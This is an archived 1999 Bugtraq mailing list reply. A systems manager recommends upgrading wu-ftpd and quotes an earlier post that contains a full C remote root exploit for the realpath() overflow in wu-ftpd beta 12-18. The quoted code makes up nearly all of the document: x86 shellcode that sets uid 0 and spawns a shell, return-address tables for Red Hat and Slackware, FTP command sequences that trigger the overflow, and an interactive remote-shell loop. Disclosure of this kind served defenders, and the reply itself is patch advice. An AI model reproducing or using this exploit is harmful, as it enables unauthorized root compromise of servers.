Bugtraq mailing list archives

Re: wuftp2.4.2academ beta 12-18 exploit


From: cprice () MOLBIO UNMC EDU (Chad Price)
Date: Tue, 4 May 1999 08:54:37 -0500


Beta 18 is not a current version. Yet another reason to upgrade to the VR
series of wu-ftd. The current archives are at ftp.vr.net.


The location of the latest versions of wu-ftpd can be found in the
directory

      ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center:  http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ:              http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive:     http://www.landfield.com/wu-ftpd/mail-archive/



At 09:59 PM 5/1/1999 +0200, Mixter wrote:
this works on a lot of wu-ftpd`s
also uses other commands than MKD to
exploit realpath() overflow

/*
* Remote/local exploit for wu-ftpd [12] through [18]
* gcc w00f.c -o w00f -Wall -O2
*
* Offsets/padding may need to be changed, depending on remote daemon
* compilation options. Try offsets -5000 to 5000 in increments of 100.
*             
* Note: you need to use -t >0 for -any- version lower than 18.
* Coded by smiler and cossack
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>


/* In a beta[12-17] shellcode_A overflow, we will not see responses
to our commands. Add option -c (use chroot code) to fix this. */
unsigned char hellcode_a[]=
       "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
       "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
       "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
       "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
       "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
       "\x0f\x42\x49\x4e\x0f\x53\x48";

unsigned char hellcode_b[]=
      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
      "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
      "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
      "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
      "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
      "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
      "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
      "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
      "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
      "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
      "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";


char *Fgets(char *s,int size,FILE *stream);
int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
int double_up(unsigned long blah,char *doh);
int resolv(char *hostname,struct in_addr *addr);
void fatal(char *string);
int usage(char *program);
int tcp_connect(struct in_addr host,unsigned short port);
int parse_pwd(char *in,int *pwdlen);
void RunShell(int thesock);



struct type {
      unsigned long ret_address;
      unsigned char align; /* Use this only to offset \xff's used */
      signed short pad_shift; /* how little/much padding */
      unsigned char overflow_type; /* whether you have to DELE */
      char *name;
};

/* ret_pos is the same for all types of overflows, you only have to change
  the padding. This makes it neater, and gives the shellcode plenty of
  room for nops etc
*/
#define RET_POS 190
#define FTPROOT "/home/ftp"


/* the redhat 5.0 exploit doesn't work at the moment...it must be some
  trite error i am overlooking. (the shellcode exits w/ code 0375) */
struct type types[]={
      { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },
       { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },
       { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },
       { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
       { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
      { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
       { 0,0,0,0,NULL }
                  };

struct options {
      char start_dir[20];
      unsigned char *shellcode;
      unsigned char chroot;
      char username[10];
      char password[10];
      int offset;
      int t;
} opts;

/* Bit of a big messy function, but hey, its only an exploit */

int main(int argc,char **argv)
{
      char *argv0,ltr;
      char outbuf[1024], inbuf[1024], ret_string[5];
      int pwdlen,ctr,d;
      FILE *cin;
      int fd;
      struct in_addr victim;

      argv0 = strdup(argv[0]);
      *opts.username = *opts.password = *opts.start_dir = 0;
      opts.chroot = opts.offset = opts.t = 0;
      opts.shellcode = hellcode_a;

      while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
              switch (d) {
              case 'c':
                      opts.shellcode = hellcode_b;
                      opts.chroot = 1;
                      break;
              case 's':
                      strcpy(opts.start_dir,optarg);
                      break;
              case 'o':
                      opts.offset = atoi(optarg);
                      break;
              case 't':
                      opts.t = atoi(optarg);
                      if ((opts.t < 0)||(opts.t>5)) {
                              printf("Dont have that type!\n");
                              exit(-1);
                      }
              }
      }

      argc -= optind;
      argv += optind;
      
      if (argc < 3)
              usage(argv0);

      if (!resolv(argv[0],&victim)) {
              perror("resolving");
              exit(-1);
      }
      strcpy(opts.username,argv[1]);
      strcpy(opts.password,argv[2]);

      if ((fd = tcp_connect(victim,21)) < 0) {
              perror("connect");
              exit(-1);
      }

      if (!(cin = fdopen(fd,"r"))) {
              printf("Couldn't get stream\n");
              exit(-1);
      }

      Fgets(inbuf,sizeof(inbuf),cin);
      printf("%s",inbuf);

      if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
              fatal("Bad username\n");
      if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
              fatal("Bad password\n");

      if (*opts.start_dir)
              if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
                      fatal("Couldn't change dir\n");

      if (ftp_command(inbuf,257,cin,"PWD\n")<0)
              fatal("PWD\n");                         

      if (parse_pwd(inbuf,&pwdlen) < 0)
              fatal("PWD\n");

      srand(time(NULL));
      printf("Making padding directorys\n");
      for (ctr = 0;ctr < 4;ctr++) {
              ltr = rand()%26 + 65;
              memset(outbuf,ltr,194);
              outbuf[194]=0;
              if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                      fatal("MKD\n");
              if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
                      fatal("CWD\n");
      }

      /* Make padding directory */

      ctr = 124 - (pwdlen - types[opts.t].align);//180
       //ctr = 152 - (pwdlen - types[opts.t].align);
      ctr -= types[opts.t].pad_shift;
      if (ctr < 0) {
              exit(-1);
      }
      memset(outbuf,'A',ctr+1);
      outbuf[ctr] = 0;
       if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
               fatal("MKD\n");
      if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
              fatal("CWD\n");
      
      memset(outbuf,0x90,195);
      d=0;
      for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
              outbuf[ctr] = opts.shellcode[d++];
      double_up(types[opts.t].ret_address-opts.offset,ret_string);
      strcpy(outbuf+RET_POS,ret_string);
      strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);

      printf("Press any key to send shellcode...\n");
      getchar();
      if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
              fatal("MKD\n");
      if (types[opts.t].overflow_type == 1)
              if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
                      fatal("DELE\n");
       /* HEH. For type 1 style we add a dele command. This overflow
       occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
      not checking bounds correctly, overwriting path[] in delete(). */

       RunShell(fd);
      return(1);
}

void RunShell(int thesock)
{
      int n;
      char recvbuf[1024];
      fd_set rset;

      while (1)
      {
              FD_ZERO(&rset);
              FD_SET(thesock,&rset);
              FD_SET(STDIN_FILENO,&rset);
              select(thesock+1,&rset,NULL,NULL,NULL);
              if (FD_ISSET(thesock,&rset))
              {
                      n=read(thesock,recvbuf,1024);
                      if (n <= 0)
                      {
                              printf("Connection closed\n");
                              exit(0);
                      }
                      recvbuf[n]=0;
                      printf("%s",recvbuf);
              }
              if (FD_ISSET(STDIN_FILENO,&rset))
              {
                      n=read(STDIN_FILENO,recvbuf,1024);
                      if (n>0)
                      {
                              recvbuf[n]=0;
                              write(thesock,recvbuf,n);
                      }
              }
      }
      return;
}


int double_up(unsigned long blah, char *doh)
{
      int a;
      unsigned char *ptr,*ptr2;
      bzero(doh,6);
      ptr=doh;
      ptr2=(char *)&blah;
      for (a=0;a<4;a++) {
              *ptr++=*ptr2;
              if (*ptr2==0xff) *ptr++=0xff;
              ptr2++;
      }
      return(1);
}


int parse_pwd(char *in, int *pwdlen)
{
      char *ptr1,*ptr2;

      /* 257 "/" is current directory */
      ptr1 = strchr(in,'\"');
      if (!ptr1) return(-1);
      ptr2 = strchr(ptr1+1,'\"');
      if (!ptr2) return(-1);
      *ptr2 = 0;
      *pwdlen = strlen(ptr1+1);
      /* If its just "/" then it contributes nothing to the RET_POS */
      if (*pwdlen==1) *pwdlen -= 1;
      printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
      return(1);
}

int tcp_connect(struct in_addr host,unsigned short port)
{
      struct sockaddr_in serv;
      int fd;

      fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      bzero(&serv,sizeof(serv));
      memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
      serv.sin_port = htons(port);
      serv.sin_family = AF_INET;
      if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
              return(-1);
      }
      return(fd);
}


int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
{
      va_list va;
      char line[1200];
      int val;

      va_start(va,fmt);
      vsprintf(line,fmt,va);
      va_end(va);

      if (write(fileno(out),line,strlen(line)) < 0)
              return(-1);

      bzero(buf,200);
      while(1) {
              Fgets(line,sizeof(line),out);
#ifdef DEBUG
              printf("%s",line);
#endif
              if (*(line+3)!='-') break;
      }
      strncpy(buf,line,200);
      val = atoi(line);
      if (success != val) return(-1);
      return(1);
}

void fatal(char *string)
{
      printf("%s",string);
      exit(-1);
}

char *Fgets(char *s,int size,FILE *stream)
{
      char *ptr;

      ptr = fgets(s,size,stream);
      //if (!ptr)
              //fatal("Disconnected\n");
      return(ptr);
}

int resolv(char *hostname,struct in_addr *addr)
{
       struct hostent *res;

       if (inet_aton(hostname,addr))
               return(1);

       res = gethostbyname(hostname);
       if (res == NULL)
               return(0);

       memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
       return(1);
}

int usage(char *program)
{
      fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s
start_dir]\n",program);
      fprintf(stderr,"\t[-o offset] [-t type]\n");    
      fprintf(stderr,"types:\n");
      fprintf(stderr,"0 - %s\n", types[0].name);
      fprintf(stderr,"1 - %s\n", types[1].name);
       fprintf(stderr,"2 - %s\n", types[2].name);
       fprintf(stderr,"3 - %s\n", types[3].name);
       fprintf(stderr,"4 - %s\n", types[4].name);
       fprintf(stderr,"5 - %s\n", types[5].name);
       fprintf(stderr,"\n");
      exit(0);
}

/* -EOF- */

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
cprice () molbio unmc edu
(402) 559-9527
(402) 559-4077 (FAX)



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